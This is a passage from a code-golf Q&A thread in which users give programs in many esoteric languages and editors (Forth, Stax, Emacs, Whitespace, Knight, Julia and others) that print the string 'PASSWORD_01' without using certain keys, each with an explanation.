1 1 1 1 1 2 1 1 1 1 1 2 1 2 1 2 1 1 2 2 1 2 1 2 1 1 2 2 1 2 1 2 1 2 2 2 1 2 1 1 2 2 2 2 1 2 1 2 1 1 2 1 1 2 1 1 1 2 1 1 1 2 1 2 2 2 2 2 1 1 2 2 1 1 1 1 1 1 2 2 1 1 1 2 ``` [Try it online!](http://fernando.tryitonline.net/#code=MiAxCjEgMiAxIDIgMSAxIDEgMQoxIDIgMSAxIDEgMSAxIDIKMSAyIDEgMiAxIDEgMiAyCjEgMiAxIDIgMSAxIDIgMgoxIDIgMSAyIDEgMiAyIDIKMSAyIDEgMSAyIDIgMiAyCjEgMiAxIDIgMSAxIDIgMQoxIDIgMSAxIDEgMiAxIDEKMSAyIDEgMiAyIDIgMiAyCjEgMSAyIDIgMSAxIDEgMQoxIDEgMiAyIDEgMSAxIDI&input=) `Enter` used. I'd use `0` and `1` to make the code more readable but I can't use `0`. [Answer] # JS-Forth, 103 bytes The string will be returned on the stack as an array of characters. ``` 12544 1 3 << >> 24 1 << 1521 4 >> 34 1 << 41 1 << 2531 5 >> 351 2 >> 332 2 >> 32 2 >> 131 1 >> 321 2 >> ``` [**Try it online**](https://repl.it/DjxY/6) - *Commented version* --- ### Explanation: I first found the list of [allowed words](https://repl.it/DkAH). Essentially, the only things I could use that would be useful are: * `12345` Numeric constants * `<<` Shift left * `>>` Shift right * `s>f` Push single to float stack * `f>d` Pop double from float stack * `fsqrt` Square root on float stack So I could use numeric constants, bit-shift, and compute a square root using the following (`>>` replaces `drop`, shifting by `0` to remove the `0`): ``` s>f fsqrt f>d >> ``` Fortunately, I found possible bit-shifts for every constant I needed to create that were shorter than using square roots. For the most part, I searched by simply printing each number squared, or a larger power of two if any of them contained a digit `6-0`. Then, I realized I could use loss of precision from `f>d` to find more possibilities. (I could add to the number, but still get the same integer square root.) A bit later, I started using bit-shifting to find some, and then all, of the constants. The greater the `>>` bit-shift, the more I could add to the "magic number" and still get the same result. So I found the smallest bit-shifts I could use to get the necessary results. Even numbers could sometimes use `<<`, odds had to use `>>`. ### Commented code (`\` starts a comment): ``` \ 49 12544 1 3 << >> \ 48 24 1 << \ 95 1521 4 >> \ 68 34 1 << \ 82 41 1 << \ 79 2531 5 >> \ 87 351 2 >> \ 83 (x2) 332 2 >> 332 2 >> \ 65 131 1 >> \ 80 321 2 >> ``` *gForth does not have the words `<<` or `>>`. Instead it has `lshift` and `rshift`, which I could not use*. [Answer] # [Decimal](//github.com/aaronryank/Decimal), ~~190~~ 180 + 10 = 190 bytes ``` 12055D12025D41D301212055D12010D41D301212055D12025D41D12003D41D30130112004D41D301212055D12024D41D30112003D41D301212055D12013D41D301212055D12040D41D301212045D12003D41D30112001D41D301 ``` [Try it online!](https://tio.run/##S0lNzsxNzPn/39DIwNTUBUgambqYGLoYGxgawYUMDTCEIKqADANjqBwQgbgmmEphQsiqkQzHFDJBts/EFMUaENsQyv7/HwA) Decimal is an esoteric language that uses nothing but decimals and the letter `D`. However, I needed the +10 penalty because almost every command uses `0`. Luckily, all of the commands needed to print `PASSWORD_01` don't require any numbers over `6`: * `12...D` - push a character * `2` - pop a value * `41D` - pop top two stack values, multiply and push result * `301` - print DSI (default stack index) By repeatedly pushing character values that only use the digits 1 through 5, then adding them, I can make the character values for each letter in `PASSWORD_01`. Ungolfed and commented: ``` 12055D ; push char 55 to stack 12025D ; push char 25 to stack 41D ; pop [DSI] and [DSI-1], add and push result 3012 ; print from stack to output, pop 12055D ; push char 55 to stack 12010D ; push char 10 to stack 41D ; pop top two stack values, add and push result 3012 ; print from stack to output, pop 12055D ; push char 55 to stack 12025D ; push char 25 to stack 41D ; pop x2, add, push 12003D ; push char 3 to stack 41D ; pop x2, add, push 301301 ; print, print 12004D ; push char 4 to stack 41D ; pop x2, add, push 3012 ; print, pop 12055D ; push char 55 to stack 12024D ; push char 24 to stack 41D ; pop x2, add, push 301 ; print 12003D ; push char 4 to stack 41D ; pop x2, add, push 3012 ; print, pop 12055D ; push char 55 to stack 12013D ; push char 13 to stack 41D ; pop x2, add, push 3012 ; print, pop 12055D ; push char 55 to stack 12040D ; push char 40 to stack 41D ; pop x2, add, push 3012 ; print, pop 12045D ; push char 45 to stack 12003D ; push char 3 to stack 41D ; pop x2, add, push 301 ; print 12001D ; push char 1 to stack 41D ; pop x2, add, push 301 ; print ``` [Answer] # [Stax](https://github.com/tomtheisen/stax), 91+10 bytes ``` "W"EEEd$"$"1 !$Re]"$""ASSW"R"$""a"EEE$"$"a$Re]R"$""RD"R"$""a"EEEd$"$""5"Re]R"$"1 !$R"$""1"R ``` [Try it online!](https://staxlang.xyz/#c=%22W%22EEEd%24%22%24%221+%21%24Re%5D%22%24%22%22ASSW%22R%22%24%22%22a%22EEE%24%22%24%22a%24Re%5DR%22%24%22%22RD%22R%22%24%22%22a%22EEEd%24%22%24%22%225%22Re%5DR%22%24%221+%21%24R%22%24%22%221%22R&i=&a=1) Uses `]` to make singletons. ## Explanation Let's see how `"P"` is generated and how the `"ASSW"` is appended without using the usual `+`. ``` "W" Push "W", or [87] E Convert to a scalar, 87 E Convert to an array of digits, [8,7] E Push 8 on the stack, then push 7. d Pop the 7 and discard it. Start making components of regex substitution $ Pop 8, push "8" "$" Push "$" 1 ! Push 0. The space is necessary because normally one doesn't do 1! to obtain 0 $ Pop 0, push "0" R Do regex substitution 's/$/0/g' on the string "8" Basically doing "8"+"0" without using + e Pop "80", push 80 ] Singleton. Pop 80, push [80], or "P" "$""ASSW"R Use the same trick again to append "ASSW" to "P" ``` The rest are just repeating the same trick. `"a"EEE$"$"a$Re]R` swaps the digits of `"a"` or `[97]` to make `[79]` or `"O"` and appends it to the string. `"$""RD"R appends "RD"`. `"$""a"EEEd$"$""5"Re]R` uses `"a"` again to obtain `"9"` and discards the `"7"`, then combines the `"9"` with a literal `"5"` to form `[95]` or `"_"`, and appends it to the string. `"$"1 !$R` obtains a zero by logical not of 1 and appends it to the string. `"$""1"R` appends the final `"1"` and we are done. Implicit output. [Answer] ## Emacs (running in a terminal), 26 bytes (possibly 24 bytes) The program itself (the commas delimit the boundaries between bytes in the on-the-wire format that Emacs uses to accept its input): > > `W`, `S`, `Ctrl`-`3`, `$`, `D`, `A`, `Ctrl`-`T`, `S`, `R`, `W`, `D`, `Ctrl`-`3`, `$`, `5`, `Ctrl`-`Q`, `5`, `f`, `Ctrl`-`X`, `r`, `Ctrl`-`Space`, `1`, `Ctrl`-`X`, `r`, `g`, `1`, `Ctrl`-`T` > > > Encoding of this as raw bytes, to prove byte count: ``` 00000000: 5753 1b24 4441 1453 5257 441b 2435 1135 WS.$DA.SRWD.$5.5 00000010: 6618 7200 3118 7267 3114 f.r.1.rg1. ``` (Note: some of the details may vary based on how Emacs is configured; this answer requires **quoted-char-radix** to be set to 16, and for Emacs to use the spellcheck dictionary that's default on my British English system. Both of these seem like reasonable configuration settings, but it's possible that your copy of Emacs may be configured differently. A different dictionary would likely still give a 26-byte program, but slightly different misspellings might need to be used so that the corrections we wanted can be accepted by non-bullet-ridden keys.) ## Note about scoring In addition to the keys specified in the question, I originally thought this answer required either `Esc` or `Alt` to work. (`Esc` is on the half of the keyboard that's still intact, so it morally feels like it should be allowed, but it isn't explicitly permitted.) However, user2845840's answer points out that (with the usual encoding of terminal control codes) `Esc` can alternatively be typed as `Ctrl`-`3`, and that *is* explicitly permitted by the question. (An aside: while testing this, I learned some other interesting ways to type control codes, with `Ctrl`-`2` typing NUL, and `Ctrl`-`4‚Ķ7` typing character codes 28‚Ķ31 respectively. Note that the default configuration of many terminals is to interpret a character code 28 coming from user input as a request to crash the currently running program, so be careful testing this.) `Alt` is *also* on the intact half of the keyboard but isn't mentioned in the question. Although `Alt` and `Esc` have different encodings in some terminals, they are encoded the same way in other terminals, and (presumably to work around these compatibility issues) Emacs interprets the two keys (and their encodings) as entirely equivalent to each other. If we could use `Alt`, though, it would save two bytes (because it has a shorter encoding than `Esc` does). ## Explanation I'm not sure whether it should have any influence on the editor wars, but Emacs seems to beat vim at least in the case of this question. Emacs is pretty suited to editor golf measured in bytes, because it relies heavily on chords which take up multiple keypresses but only a single byte (thus an Emacs program is often slower to type than the equivalent Vim program, but shorter on disk). Additionally, most of the most important Emacs commands are in the bottom-left corner of the keyboard, to be close to `Ctrl`, very helpful with a question like this one. "You can assume you have the interpreter shell / source editor opened before the bullets came in. Sadly you have not written anything in it before the keyboard was hit.", so I'm assuming that we have an empty file open in Emacs and need to type the password into it. (We'd need to save the file afterwards, and probably exit Emacs, but the bytes for that aren't being counted in other people's answers so I'm not counting them here either. It's totally doable using the left hand side of the keyboard, though, `Ctrl`-`X`, `Ctrl`-`S`, `Ctrl`-`X`, `Ctrl`-`C`.) Taking it a command (or block of similar commands) at a time: * `W`, `S`: Enter `WS` into the document. * `Ctrl`-`3`, `$`: Invoke the spellchecker. `WS` isn't a real word, but it finds lots of similar two-letter words. (The usual way to invoke the spellchecker is `Alt`-`$`; here, we're using `Ctrl`-`3` as a stand-in for `Esc`, which in turn is a stand-in for `Alt`.) * `D`: Using the spellchecker, correct `WS` to `PS`. (When the spellchecker is invoked using `Alt`-`$`, as happened here, it only checks one word, so it deactivates after doing this.) * `A`: insert `A`, giving `PSA`. * `Ctrl`-`T`: Swap the previous two characters, giving `PAS`. * `S`, `R`, `W`, `D`: Type `SRWD`, giving `PASSRWD`. * `Ctrl`-`3`, `$`, `5`: We invoke the spellchecker again, because we want to correct our misspelled `PASSRWD` into `PASSWORD`. Note that we can't have it guess the word we want on our first try, like it would with `PASSWRD`, because the key to accept the closest real word is `0` which we can't press. As a result, the slightly more extreme misspelling `PASSRWD` is used to push the word we want into position 5, where we can accept it. * `Ctrl`-`Q`, `5`, `f`: Insert the character with character code U+5f, i.e. `_`. The document now reads `PASSWORD_` (or will when we start typing the next command; before then, the underscore doesn't appear in case we type another hex digit). * `Ctrl`-`X`, `r`, `Ctrl`-`Space`, `1`: Store the current cursor position (relative to the start of the file) in register 1. For some bizarre reason, this is 1-indexed, so (having written 9 characters so far) the cursor is at position `10`. * `Ctrl`-`X`, `r`, `g`, `1`: Copy the content of register 1 into the document. It now reads `PASSWORD_10`. * `Ctrl`-`T`: Swap the two characters before the cursor. We now have `PASSWORD_01`, like the question asks for. If we're allowed to use `Alt`, we can probably encode the "invoke spellchecker" command as the single byte `a4` rather than spelling it out as `1b` `24`; it appears twice, so that leads to two bytes of savings. (Most modern terminals use `1b` `24` as the encoding for `Alt`-`$` to avoid clashes with UTF-8, but the `a4` encoding is also encountered from time to time, sometimes available as a configuration option.) Possible byte savings probably involve golfier misspellings to correct. `PSASWRD` would be a byte shorter to type, but unfortunately, the spellchecker doesn't seem capable of gleaning `PASSWORD` out of that, so `PASSRWD` is the best approach I've found so far. The register-based approach to gaining `10` is also ridiculously unwieldy, but there aren't many ways of creating numbers from nowhere in Emacs, and `0` is a painful character to get hold of otherwise. (At least there were a couple of amazingly useful coincidences: the cursor just happening to end up in position `10`, which contains a `0`, right when needed; and the fact that Emacs accepts the redundant `g` register operation to insert the contents of a register into the document, in addition to the more intuitive `i`.) [Answer] # [Whitespace](https://web.archive.org/web/20150618184706/http://compsoc.dur.ac.uk/whitespace/tutorial.php), score: 111 (101 bytes + 10 for `Enter`) ``` [S S T T T T T T N _Push_-31_1][S S T T S S S S S N _Push_-32_0][S S S T T T T N _Push_15__][S S T T T S S N _Push_-12_D][S S S T S N _Push_2_R][S S T T N _Push_-1_O][S S S T T T N _Push_7_W][S S S T T N _Push_3_S][S N S _Duplicate_3_S][S S T T T T T N _Push_-15_A][S S S N _Push_0_P][N S S N _Create_Label_LOOP][S S S T S T S S S S N _Push_80][T S S S _Add][T N S S _Output_as_character][N S N N _Jump_to_Label_LOOP] ``` Letters `S` (space), `T` (tab), and `N` (new-line) added as highlighting only. `[..._some_action]` added as explanation only. [Try it online](https://tio.run/##K8/ILEktLkhMTv3/X0GBEwy4QAwFEACyFOAinFC@ApgHlYJQXHCVYAEuLphSsDFcIJITLMbF9f8/AA) (with raw spaces, tabs and new-lines only). **Explanation in pseudo-code:** This solution is shorter than [the existing Whitespace answer](https://codegolf.stackexchange.com/a/31564/52210) (*@nÃ¥ÃãÃñhÃ∑ÃÉÕâaÃ∑ÃøÃ≠hÃ∏ÃÖðtõÕÑîdÃ∑ÕÄÃ∞hÃ∑ÃÇÃ≥* asked me to post it as a separated answer when I suggested it as golf) by utilizing [this Whitespace tip of mine](https://codegolf.stackexchange.com/questions/48442/tips-for-golfing-in-whitespace/158232#158232). ``` Push the code-points for the characters of "10_DROWSSAP" minus constant 80 to the stack Start LOOP: Add 80 to the current code-point Pop and output it as character Go to the next iteration of LOOP ``` The constant `80` has been generated with [this Java program](https://tio.run/##fVLva9swEP3ev@K4TxJKTQorY3FESdk@GJZt1Nk66EqRXTVR58iedA6Ekb/dk2s7P7bRLxK69@7p7t49q406f3782TR5obyHuTL29xlAVWeFycGTonBtSvMI6wCxlJyxy7t7ULylAXQBcNrXBYEEdTe@j18QYwn8WhWF9i2QWNJL7aL57PvDt9nHrx9GkMi3l/GxykC/GdQQO/ypdKzVMzKJzfTichwbIfoKDjVIxBGNKjlkdXnZljRkk67CaKnpOgQ84/t0AJJBfFHerkxAKpXra2OV23a6LDs3PN5znWQU6V@1Kjyr@BWmn37YFCfEhTuQKknDY9ff5om5qNB2SSvGYbrv9aiMf9o/Ujya5EHmACchbk6/7M5060mvo7KmqArdUGEZdukSxSAqMA6jRZEIhAmgeG0aCe@//VuZnZb/wtqdhaNfot6l17Rbi20/kI1ywRdMUxTMTsdXuMAJpshPFyKfDHtF5YlUi/K5olWkMs8s5/9znoTMp2/eBROD9qLfmm5uTlPtbGBg8Be7XnZN03yZpent55v3D@OLPw), which I've created and used for some previous Whitespace answers of mine. [Answer] # Befunge-98, 43 +10 = 53 bytes ``` "1qA¬∑DR¬∑WSSA¬∑g"%,$,,,,$"s"%,,,$"c"%,%,,q ``` [Try it online!](http://befunge-98.tryitonline.net/#code=IjFxQcK3RFLCt1dTU0HCt2ciJSwkLCwsLCQicyIlLCwsJCJjIiUsJSwscQ&input=) The 10 byte penalty is for the use of the `,` key (not sure why this couldn't be accomplished with `Shift`+`<`, but that seems to be the rule). And although the source is technically 40 characters, the three `¬∑` characters contribute an additional three bytes because of their UTF-8 encoding. [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), ~~87~~ 86 bytes ``` "."A1.$R24.$AT<.$R15>.$A21<.$R5.$.V.VD21s.V.V15>X.V"ASSW"15X.V"RD"122D<s2X.V.VTRTX.V.V ``` [Try it online!](https://tio.run/##HcqxCsAgDIThdwnOBwl1k4LgE6hY1xY6dOrg@5Mmnf4P7t51Xs@tSqDMCFU2hNyTieNuFHZHBAyMIry8Nk0Myq0dxNFZC7FISUumH3rtf1U/ "05AB1E ‚Äì Try It Online") ~~Maybe the longest 05AB1E code ever?~~ Unfortunately the language doesn't support things like `"Q"<` for "decrement Q to get P" My extra key is the V. Thanks to @Kevin Cruijssen for -1 byte. Code: ``` Build the string ".b". This is the code to turn integers to upper case letters: "." push "." A push the lower case alphabet 1.$ drop the first letter of that R reverse the remaining string 24.$ drop the first 24 letters of that, so only "b" remains AT<.$R15>.$ do the same trick for "j" A21<.$R5.$ and for "u" .V run "u" as code to turn "j" to "J" .V run "J" as code, to join ".", "b" to ".b" Save that string for later use: D duplicate 21 push 21 s switch the top two elements [".b", 21, ".b"] .V run ".b" as code, to get "U" .V run "U" as code, to save ".b" in X Build password string: 15>X.V push the 16th letter of the alphabet ("P") "ASSW" push "ASSW" 15X.V push "O" "RD" push "RD" 122D<s2X.V push 121, 122, "B" .V run that as code to push "_" TR push 01 TX.V push "J" .V run that as code, to join everything to the desired string ``` For comparison: The shortest way to print "PASSWORD\_01" is 6 bytes long [Try it online!](https://tio.run/##yy9OTMpM/f//UcOMRw0LDs@LNzD8/x8A "05AB1E ‚Äì Try It Online") [Answer] ## [Lenguage](https://esolangs.org/wiki/Lenguage), 814814390776628060509605577373181765864505940171473720140916436885644483746988990322785194756 bytes Converted from this program: ``` ++++++++++[>++++++++>+++++++>+++++++++>++++++++++>+++++<<<<<-]>.>-----.<+++..>>---.<<----.+++.>+++.>>-----.>--.+. ``` [Try BF code online!](https://tio.run/##SypKzMxLK03O/v9fGw6i7WAsOzQamQVl2oCAbqydnp0uCOjZAMX09OzswGwbsBBIxA5MQNXYgQT1/v8HAA "brainfuck ‚Äì Try It Online") [Answer] # [Width](https://github.com/stestoltz/Width), 23 + 10 (`m`) = 33 bytes ``` GFmaaAfAfAAFGAiawwafwfG ``` [Try it online!](https://tio.run/##K89MKcn4/9/dLTcx0TENCB3d3B0zE8vLE9PK09z//wcA "Width ‚Äì Try It Online") [Answer] # [Knight](https://github.com/knight-lang/knight-lang), ~~63~~ 62 + 10 (`+`) bytes ``` E++A+55 24+A34+A+55 25+"ASSW"+A+55 24+"RD"+A+54 41+A+45 3 1A34 ``` [Try it online!](https://tio.run/##rVhbc9pGFH6GX7FWxkiLRCMJPNMBBOMkdsZTx07tpHmwaYqFsDUjC0aIpm3s/vX0nLO70i7gtGnLg8Tunuu35wZx5zaOvzxL8zhbz5Lhqpyli@/uRk19J0tvjK24/H2ZbBAVaX5rbJXpvaCZJfM0T1iWsWyR39Kj2nx39v4NC@rl5bsLFtbLnw4vWK9eHp@9ZN/Xy4v3LKiJj08vNdqz96ca6fuzN4eXPzgrzhx4tP4MDnh1dngJSsVRfDct2rwi1mnATsU@GvXqk7OjD3iUwxH68gDfhkPzHMXTOXx5cLKMw8ogeHF@fkoU8BiDV31wRdN98VocAmtl3K/TbJ1wfpVPeLNJZsMNJNP76MI6Oj92vhy57qF7cMDCnnvY7cnvB64Fzn6wqiPr4hUteqwXwLt3wLosAPovHIRYgyZc2XJarBKHs8/NRpqXLB00G7BL6j3Wnq/zGHbQABbDurxfeqtlfhVOos@@5z8OmsDGIkEPbx@IP92lWeKAuUDoCKs9Zl2X1/n1/Lpgnx@vJg7vP7M4KW2kc@ZI51gUMfuZzZkQoXb3YPc6h23XFTugpJFkq0TfeJSKmZOuZultWip2UIMWBl5lpHi3WeAzl7Wlia7LWYfZvg2y0KSUsyIp10UuQviBiSthwyHr8crLdJUtPiWFE4NYpY89PDBlQ0yrmBz7aHPpbrrDlTQKPEA3qrY3jMBMASMguhiQ5LP10sHLYBKjDoMVl2xC37Vt18otW6ANVGBqpZ09f84gn@E7mLCcrkpW3iUgc1qUQCwBbSuE8CZiVNJQVmE6/51V8Ay4uCHNa4wifwK2xMrX1Xq5RCi5un@1owOrRwoAqglEGSroljlEHFQTjDFpqoDhnc3GVFf6cuMYN7Cy9LGiYDirKKFiJHxzMA3Q1GmWLWKn53sBR49w23RCCL3QgH9rVyaQZMUWIJtMvl3WHx69ePnLj3unr841JwwJ4baEPUPE65PLp3i727zC3Nd2ZfnJE5b3TF6T5BFrSrHOEbYBFS4oGouVo2oKRSHEV5nGjE5v1vOrsDeRRgjwW5RzlfbVEnpPOXeAFLzaz7KZpZJ5NIJs9FDIpgCIzEqA6ABCv0E3ZEHXdBI9x/gYM6ss1okFcVHtY5jA/nwK@YoHVr7OMquGAP1E12XtRjA@vlgsMji4MQF40tXaq6/50/52h3QrbzatxDsrF/n/aiNEYrnIMkc31WO@B1X3X5icb5mMzerN4dszD1uWiDNYnlwFvu9PqLPBUq1W6R/Jx5Lha9CsI1TzFhGAlYePkJ7dKFCdD4sONj980TMUry4QHJ@cHrXZHOrVoFFFttSHpTCeLr0syalRalg5sqsIzCDnngJjkxEbAfaR@aKAmkktF/rbkLAYQGFP8bAqBvH9cuMGCKR0UtcFhCmdoJrVp7SM75w2zSHMHEQAIyY/MfYK@9DuM9QiCCIEFAcZKIy8RU5J8XJ@MkKWD6jl1RQ0oJUFtg@a0a4m/HMdZjBnULkVii9AsSm7mOYzh7f83@bwqQnfAiEIFRDdJmUGw5bToqts4QVhl5qlOR@kc8eh68TmG98VaIoHYcq5uOXIH@w0FV5ol9J3JPRRd6JaIPEYKHMRI1k3aytf1O4I@urkZX2CnDrCFc0vQIPBAOEXLRfLJHc0xZ5VWNStwaroXvQuCMco9Hvf077s744YCuZg@gydgqkIItbDkQnIoX3TCnWAahVdDmwyN6KxAxMWKLmEG@SQLoIaJbQjFupjQw1j7cmP4EnyG4xMmOxbfu4Zl07z9B4Wsi3C063oAC2ZiYtG/sruy5lsRxxXhU/2H@tsfX8D8wh2IK5aEP5YqIe4rWqoWC/p95Ozv0JGMxe2mQFOGEZ0vVBIuVWTqgPsLsk0l2KfamCyY@k3oBq6QOG8RgETA65Qgibu04COtVp4etXpIOlETJrXNNo2lFn737VXYI8DK85UqhWa@etypW6/igkxfQmD3MogKpNQLrEiY2hp1yMG2oZ52@KHHFLDjM1ULIXiznEEpWQQF0BUuI1ZHikvQ747VONpqV5yDgzcGiauvqMsDvOhR@9S1gjpV2crOrVox2nZtFcwtevb2YHCZnfegUN7Cwdxr7tQuN/hWptoIl0IMUALcqhCRvY1/G5CokGnQ/IkUNQxNy9aIFoa2f/8q8A83w3M/leZ9ncz/UxoGg6JYZ72Qt3LgYRdoB6xTlChTLQAfQB51gkgxwKdOPxG6iGUR4M2ipCU9PbVjq8gJ6DDkS@xDjlNK@2I8G9uJgQdal1qSP5v1FLMIyPVIjPRxkyPp6GOLLL2xX8fwCwIxswYPWjTY1qCoQxfcKoqHorSgrR7ERQwzeTRfzd59D@YPFIm7@2wOZI2S5PHT5sstO4wGY/HzCAIK4pQ1d69XXbWi8o9FbS6gMq8Vp056MuusjLWOWUUVvwP/4Rfhq8mpuIf2H2d2piQNmmjOmHN428egdVYVM/ASNcw5uAqi4gGJU4ig1vLMORACtet2ITJH8A98ReGPqMY3jG97Um2E3PgQ1KNfxz2uxosr8W0GWnN2dVr1/Z0ncuZ1atyoWvMQpcC6A2hg81qGe6qll1etZCw4u7R5t/0UjQM33gVcTU3Vp1Ub6sheIha3QD7K/UWEf/ikF5E4cpMAO2zZD5dZyV4poaTNIfDdEb/PkzjMimgkcQ2jiu4w9kTv39QGM2n8r@sR/oFej9Nc4fjXxr0IwT/End8UmwO@49f/gI) As noted on [Encode your program with the fewest distinct characters possible](https://codegolf.stackexchange.com/a/226869/94093), Knight needs a minimum of `AE +1` to be fully usable (even if it is more torturous than Brainfuck). The `+` is required to do `ASCII` arithmetic. This program generates the string `O"PASSWORD_01"` by assembling codepoints, and `EVAL`s it with `E`. XXX: check if `SUBSTITUTE` is beneficial here --- # [Knight](https://github.com/knight-lang/knight-lang), ~~113~~ 110 bytes ``` E S S S S S S S"ASSWRD1"%21 14F A34%21 15F A%152 52%21 15F A%321A"q"4F A%211 132F!1A%211 131F!1A34F!1A%211 132 ``` [Try it online!](https://tio.run/##rVhtc9pGEP4Mv@JQxkgHIpEEmekAgrETO@OpY6d20nywaYKFsDUjCypE0zZ2/3q6u3cn3QFOmzb2DNLd7etz@wZR5yaKvjxJsihdz@Lhqpgli6e3o7q@kybXxlZU/LGMN4jyJLsxtorkTtDM4nmSxSxNWbrIbuij3Hx7@u4186vlxdtzFlTLn/fPWa9aHp2@YD9Uy/N3zK@Ij04uNNrTdyca6bvT1/sXPzorzhz4aP7lP@fl2f4FKBVH0e00b/GSWKcBOxX7aNSrTk4P3@NRBkfoyz28DYfmOYqnc3i5d9KUw8ogODg7OyEK@BiDV31wRdN9/kocAmtp3G/TdB1zfplNeL1OZsMNxNO78Nw6PDtyvhyyC/3fAiffn7/0rb3AZ37viO13e/T6HF73/OcBex5U627g71u/WkgGm7DbDY4avnr38b3b03aCLxyUWoM6XPFymq9ih7PP9VqSFSwZ1GuwS@a6rDVfZxHsoMEsgnVxt3RXy@wymISfPdd7GNSBjYWCHp4eEH@6TdLYAfeA0BFeusy6Kq6yq/lVzj4/XE4c3n9icVJaS@bMkWCwMGT2E5szIULtNmD3KoPtdlvsgJJanK5ifeNBKmZOspolN0mh2EENWui7pZHi2WK@x9qsJU1stznrMNuzQRaalHCWx8U6z0TI3zNxhWw4ZD1eepms0sWnOHciEKv0sft7pmyIaBWRYx9sLt1NdriShL4L6Ibl9oYRmFlgBEQjA5Jstl46eBlMYtRhsOKSTei7su1KuWULtIEKTC21s2fPGOQ/vIMJy@mqYMVtDDKneQHEEtCWQghvIkIlNWUVpv8/WQWfPhc3pHmNUeRNwJZI@bpaL5cIJVf3r3Z0YPVIAUA1gShDBd0yg4iD6oMxJk0VMLy12ZjqUF9uHOEGVqI@ViAMZxUlVLyEbw6mAZo6TdNF5PQ81@foEW6bTgih5xrwb@zSBJKs2Hxkk8m3y/r9w4MXH39qnLw805wwJATbEhqGiFfHF4/xdrd5hbmv7NLy40cs75m8JskD1pR8nSFsAyp0UDQWK0fVFIpCiK8iiRidXq/nl0FvIo0Q4Dcp50rtqyX0qmLuACl4tZemM0sl82gE2eiikE0BEJmlANExhH6DbgjF0HQSPcf4GDOryNexBXFR7mOYwP58CvmKB1a2TlOrggD9RNdlrUcwPhwsFikcXJsAPOpq5dXX/Gl9u0O6ldebVuKdFYvsu9oIkVgs0tTRTXWZ50LV/Q8mZ1smY7N6vf/m1MWWJeIMlseXvud5E@pssFSrVfJn/KFg@BjUqwjVvEUEYOXiR0Cf3dBXnQ@LDjY/fNBnIB5dIDg6PjlssTnUq0GtjGypD0thNF26aZxRo9SwcmRXEZhBzj0GxiYjNgLsI/NFDjWTWi70tyFhMYDCnuBhWQyiu@XGDRBIyaSqCwhTMkE1q09JEd06LZpbmDm4AEZM/kXYK@x9u89QiyAIEVAcfKAw8iY5JcXLecsIWT6glldR0EBX5Ng@aKa7nPDPVZjBnEHlVig@B8Wm7HyazRze9H6fw19F@AYIQaiA6CYuUhjOnCZdZRMvCLvULMn4IJk7Dl0nNt/oNkdTXAhTzsUth95gp6nwQLuUvkOhj7oT1QKJx0CZixjJullZeVC5I@jLkxfVCXLqCJc0H4EGgwHCL1wulnHmaIpdK7eoW4NV4Z3oXRCOYeD1fqB92d8dMRTMwfQZOgVTEUSsiyMTkEP7phXqANUquhzYZO2Qxg5MWKDkEm6QQ7oIapTQClmgjw0VjJUnP4En8e8wMmGyb/nZMC6d5u8GFrItwpOt6AAtqYmLRv7S7suZbEccl4VP9h/rdH13DfMIdiCuWhB@uaiGuK1qqFgv6PuWs7dCRjMXtpkBThhGdL1QSLlVkaoD7C7xNJNiH2tgsmPpN6AaukDhrEIBEwOuUIIm7tOAjjWbeHrZ6SDpREyaVzTa1pRZe09bK7DHgRVnKtVyzfx1sVK3X8aEmL6EQe3SICqTUC6xImNoadcjBtqaedviix9Sw4zNVCwF4s5xBKVkEBdAVLiNWR4qLwO@O1SjaaEecg702xVMXL2jLA7zoUvPQtYI6VdnKzq1aMdp2bRXMLWq29mBwmZ33oFDawsHca@7ULjb4VqLaEJdCDFAC3KoQob2FXxvQqJBp0PyJFDUMTcvWiBaGNn/7KvAPNsNzN5XmfZ2M/1CaBoOiWGe9gLdy4GEXaAeso5foky0AL0PedbxIcd8nTj4RuohlEeDNgyRlPT21Y6nICegg5EnsQ44TSutkPCvbyYEHWpdakj@b9RSzCMj1UIz0cZMj6ehjiyy9sVvJcAsCMbMGD1o02VagqEMT3CqKh6I0oK0jRAKmGby6P@bPPoOJo@UyY0dNofSZmny@HGThdYdJuPxmBkEQUkRqNrb2GVntSjdU0GrCyjNa1aZg77sKitjnVNGYcl//2/4ZfhqYkr@gd3XqY0JaZM2rBLWPP7mEViNRdUMjHQ1Yw4us4hoUOIkNLi1DEMOpGi3SzZh8ntwT/yEoc8ohndMb3uS7dgc@JBU4x8H/a4GyysxbYZac27rtWt7us7kzOqWudA1ZqELAfSG0MFmtQx2VcsuL1tIUHL3aPMfeikahk@8iqicG8tOqrfVADxErW0f@yv1FhH/4pAeRNGWmQDaZ/F8uk4L8EwNJ0kGh8mMfn2YRkWcQyOJbBxXcIezR77/oDCaT@VvWQ/0DfRummQOx5806EsI/oTueKTYHPYfvvwN "C (gcc) ‚Äì Try It Online") Even without `+`, we can still do this. `SUBSTITUTE` can allow us to insert strings into other strings, and we can still generate single chars with `A%x y`. But I think `+` is worth it, no? Generates the same string. For the reference, the magic numbers are: ``` %21 14 -> 7 %21 15 -> 6 %152 52 -> 48 ('0') %321A"q" -> %321 113 -> 95 ('_') # used to prevent token collision %211 132 -> 79 ('O') %211 131 -> 80 ('P') ``` * 3 bytes: use `!1` instead of `F` to avoid token collisions [Answer] # Julia 1.5, 38 +10 (`ENTER`) = 48 "bytes" The keystrokes not available are, of course, `PO_0`. For Julia, the others are all simple, and simply outputting the string `"PASSWORD_01"` should count by the rules. Also required: `ENTER`, as the alternate way to process that in Julia's REPL is Ctrl-J, and J isn't available. Fortunately, one of the inbuilt commands that you can use `TAB` to autocomplete is `DEPOT_PATH`, which provides access to three of the characters. And shortcuts can handle deleting the undesired letters and positioning the cursor to add the missing ones. To get the 0, the easiest method I've found is to use autocomplete to get `frexp`, and then `exp10`. **Inputs** Type: fr`TAB``Ctrl-A``Ctrl-D``Ctrl-D``Ctrl-E`1`TAB` Result: `exp10` Type: `Ctrl-A`DE`TAB` Result: `DEPOT_PATHexp10` Type: `Ctrl-A`"`Ctrl-D``Ctrl-D``Ctrl-F`ASSW`Ctrl-F``Ctrl-D`RD`Ctrl-F``Ctrl-D``Ctrl-D``Ctrl-D``Ctrl-D``Ctrl-D``Ctrl-D``Ctrl-D``Ctrl-F``Ctrl-T`"`ENTER` Result: `"PASSWORD_01"` as output (rather than command) on hitting enter. **Explanation** Autocomplete with `TAB` will work as long as there is only one known autocomplete option (otherwise, double-tab will bring up a list of possible completions). `Ctrl-A` moves the cursor to the start of the line, `Ctrl-D` deletes the next character, `Ctrl-F` advances the cursor forward one space, and `Ctrl-T` switches the positions of the characters 